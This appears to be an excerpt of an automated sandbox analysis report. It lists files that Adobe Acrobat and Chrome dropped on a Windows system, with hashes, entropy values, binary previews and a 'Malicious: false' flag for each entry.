SHA-256:	880F49DCEE60933B9024BB6399FB9114C9DA1FAC9D1834AAB46BA171BE4B2C85
SHA-512:	F4D2CA6EA99B30D28F23026DDB8BA2589087D83DF628CFF3C904AF4310D7033FDC6EA41FD75C4A986B37C6BFD1E65E4C428127D1AB4CB8BDEB071FEFA0E5F3D8
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1732113678000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"f44756c6e08822e64c0e471a2499e34d","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1696585148000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e8f53b6740aba22a83a1a569cebedbcc","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696585148000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"cc1faa6a0c714f2f0c497731f1772fa2","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1696585143000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"ab062dea95f25ef019cc2f5f5f0121d4","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696583346000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"65580efad4bc88b91040ff50d71bfae9","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1255,"ts":1696583346000},{"id":"DC_Reader_Edit_LHP_Banner"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9889560881170827
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs67Y9QmQ6Qeb4IcLESiAiej4F:TVl2GL7ms67YXtrbcI8c
MD5:	2E4A4069BA4FBDA4AED5A9258DC78A86
SHA1:	D60927FEDAF3054E5FDC959E4188D43B7F66C810
SHA-256:	5940E2ACA931F9F6FB3C0EFFC4C1E6712DF982B754385F3BC4C854F11A6AC159
SHA-512:	7A064917DF5EBB3AA39CF16D8B852AC732FAD6C94AB5FCD6EB1FDAD66C5AF8B3D49BA622F37FA7823DB8C4C7E531EEEC83A22C3AFA9F89A060C4883CEFD2FEAA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3444482967042937
Encrypted:	false
SSDEEP:	24:7+tqdASY9QmQ6Qeb47cLESiAi0mY9QwqLBx/XYKQvGJF7ursVm:7MQlYXtrocI8KYFqll2GL7msVm
MD5:	5FFB5280196EC40B69B07FC6A7B91C5C
SHA1:	148C4548B62CEC175B4A121FF664519E630FAF6E
SHA-256:	B99EBFA098A2B19D8C54FC7F62738108C57B8F037DC90097D6EDB5C11B6D8733
SHA-512:	A3AD3AEFDFCFDF9464EC27EDD13978C7B236F2F9E6C807824D6DCEA36C45753C55FF69CEF18409698FE7DC4AB2C91BBEE57FCE55FD80D8AA1B1EE003B5D392C8
Malicious:	false
Preview:	.... .c.....`,........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgSTflaK4rgPAoGFJPjlN/z877mYyu:6a6TZ44ADESTf8K4UooGXMmK
MD5:	384A6AE244978AF430F18B5EC89B2606
SHA1:	3C34391B3EF045909C46468057931206BA5A53B5
SHA-256:	0834C0FB8E77C03F569B43053743E6FF0316079793B7D9A417982C12182884DC
SHA-512:	CE420BF6800640A74F56B8459E7318B6827EEC0BAD842FE1E305A7B80E95A79F0311944DA7B7FB1A3877BDA55731CAC11922A6FCEBB4C993387347A0E7597ED5
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSIf7e47.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8QOOlnTlH:Qw946cPbiOxDlbYnuRKZOOx9
MD5:	5C0B1503BBB425470338C6A1D2A3EE08
SHA1:	7EDACD4A3D0AD4C9A5F34C7612FB56D8D1F08FAA
SHA-256:	FB3C2AB88F2B6B049493BA7C2053397617D0285955BA26B190AA4D79C14F55FE
SHA-512:	BA3A18F0561D473C0C92FF25383768AA3AE77CCEAFD61873A3E48C52CD5357C604F2B7274C5989F6C19695F5E96170DAC475F07A8B519E003D509483DB515FD5
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .2.0./.1.1./.2.0.2.4. . .0.9.:.4.1.:.2.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-11-20 09-41-16-633.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.353642815103214
Encrypted:	false
SSDEEP:	384:tbxtsuP+XEWJJQbnR8L31M7HeltV+KYm3wsa2KjF4ODkr/O8r2IUHUHMWwEyZRN2:aPL
MD5:	91F06491552FC977E9E8AF47786EE7C1
SHA1:	8FEB27904897FFCC2BE1A985D479D7F75F11CEFC
SHA-256:	06582F9F48220653B0CB355A53A9B145DA049C536D00095C57FCB3E941BA90BB
SHA-512:	A63E6E0D25B88EBB6602885AB8E91167D37267B24516A11F7492F48876D3DDCAE44FFC386E146F3CF6EB4FA6AF251602143F254687B17FCFE6F00783095C5082
Malicious:	false
Preview:	SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.326447392009179
Encrypted:	false
SSDEEP:	384:hI6pSwktZMZTtaEggXWjNTOHbAhx73bU+Nl3pV8wh4B9a2vnpZGvL+Lez86q7gYE:eu6
MD5:	647A327BEA10CBDA279D2653E7E02DA3
SHA1:	CDCE34B2164B0B9A27CD8E28FC74AD2E1F56D8C9
SHA-256:	F76EAB3095FB8F3097B60E9C39D35FFB025AC7435CB0C616BD63CBE0B6BC29CA
SHA-512:	50B7D5BAAF9F9650F1043D53AEA9CE168A3A5D8A8EA9231FAFA3BA8093C80E87A960A6C2D8405EDCCF7EE039264C2D1BD7B42F85D804B5919A7AA943B4E7FFD8
Malicious:	false
Preview:	SessionID=78502740-e102-4e07-a64a-afebfdf7d092.1732113676645 Timestamp=2024-11-20T09:41:16:645-0500 ThreadID=6664 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=78502740-e102-4e07-a64a-afebfdf7d092.1732113676645 Timestamp=2024-11-20T09:41:16:647-0500 ThreadID=6664 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=78502740-e102-4e07-a64a-afebfdf7d092.1732113676645 Timestamp=2024-11-20T09:41:16:647-0500 ThreadID=6664 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=78502740-e102-4e07-a64a-afebfdf7d092.1732113676645 Timestamp=2024-11-20T09:41:16:647-0500 ThreadID=6664 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=78502740-e102-4e07-a64a-afebfdf7d092.1732113676645 Timestamp=2024-11-20T09:41:16:647-0500 ThreadID=6664 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.418841183644802
Encrypted:	false
SSDEEP:	192:0cbgIhPcbocbAIlncb2cbwI/RcbNcbQIVvcb6cb1iIjRcbV:fhWlA/TVmrjq
MD5:	0FCE71C39EFDF1997C475B1DCB2A3A06
SHA1:	1EACACBDF2359EA8918F03E824436C2B74B50293
SHA-256:	8C97E71275FA3F6D2CC56F71C0F9DAEF9D491D108D21D4CF5B6C4AFDC6AECB49
SHA-512:	2B84B5C181E72FC3A16716B6C7E6AF739D8F1BE03D59B1D7CFF85BAFEFA0AF338121CEF35F60EA9F79C84ED31BC0C35012202C33E5FF9567182814E2D4C310E3
Malicious:	false
Preview:	06-10-2023 10:08:42:.---2---..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : *************************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : ***********************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Starting NGL..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..06-10-2023 10:08:42:.Closing File..06-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3f8637a4-9677-4768-ace1-fb5cdd24433b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\9702aa43-ad04-455a-be7f-ac495d498918.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f091e5da-f9e9-4328-b5ee-356bf9d6bbba.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fe331b10-6cc1-4a31-ab61-7a3be624b316.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:NqWL07oXGZIZwYIGNPJwdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:4WLxXGZIZwZGM3mlind9i4ufFXpAXkru
MD5:	8BC29C14982269068B878ADC83B80D9A
SHA1:	15B999E02CD49ECD03A0C40BE3671920AF976A69
SHA-256:	EF8BD1D35C1DBF7F158675BA329FEA09259ABF204070603971BFBBE263EE58B7
SHA-512:	5A54F96EEA54534BA61055DB51BA29CA00F0BECB7311EADC4A761AF40AC7300736376F6A590386E129C18B955781D8832A11C44A6E771B01D1CB5C9226680D9B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 13:42:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.979546113561386
Encrypted:	false
SSDEEP:	48:8B0dsTQUIHMWidAKZdA1FehwiZUklqehHy+3:8B7HKAy
MD5:	18A029E51CA7CAC9A85B67052C94FA9E
SHA1:	74BAD2769841F627AFD73B53979B3CB4EDBE8FF5
SHA-256:	6525ECB4B5A0898EF8FB7883124A0F0486673E2C9A2753E89847AA331846A082
SHA-512:	924297DD76AE600A8ECD01716FACF7E296E9FB1F74E8E4B1F72619973392EB0E6773CEBF784109E71B08DEBCB62C4AD526663F7FC89E6744759C0FB613B70173
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......qZ;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ItY.u....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYQu....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYQu....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYQu..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtYSu...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 13:42:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9973875378761643
Encrypted:	false
SSDEEP:	48:8mv0dsTQUIHMWidAKZdA1seh/iZUkAQkqehwy+2:8mv7Hk9QFy
MD5:	8C22CA44C3495A21CF507B1D653834AC
SHA1:	2324601CF4F4FCB7FDE317D8E8DDE882813A53D9
SHA-256:	0C172C3C10D9A14F64E94858CC4D684B58A8FBE147071CE631F5443DAD658F20
SHA-512:	5FA0737FB7ED17FB49E222E924D7017946E93D544C8FFF0D5B18F430EEAD57AA13A4D2F374091F578BA5CF8D34A86076D87D441D1EA214A7A8D20C0669560733
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......qZ;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ItY.u....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYQu....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYQu....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYQu..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtYSu...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.005338101683305
Encrypted:	false
SSDEEP:	48:8T0dsTQUAHMWidAKZdA14meh7sFiZUkmgqeh7sOy+BX:8T7HQnEy
MD5:	004A0E8771A1CE4953996D3DB4B43C32
SHA1:	8C82955A093C99901214FA015F86B599B2DEE11A
SHA-256:	9B3E41E53E86807A0CE3BDD221C1BB67C2F9E19E07F3B26178D47AE9BD7BB875
SHA-512:	7B938659D4996D7AB90B2ED0DBAA424A34020C9F0DB60251910D7DA7F4AF9AC0D12EC3FDF7D7AB029E20DCF4E07A21938B412E35A8585A8E95D4614AD8BFAF72
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ItY.u....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYQu....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYQu....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYQu..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 13:42:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.995644044432854
Encrypted:	false
SSDEEP:	48:8XL0dsTQUIHMWidAKZdA1TehDiZUkwqehMy+R:8b7H/2y
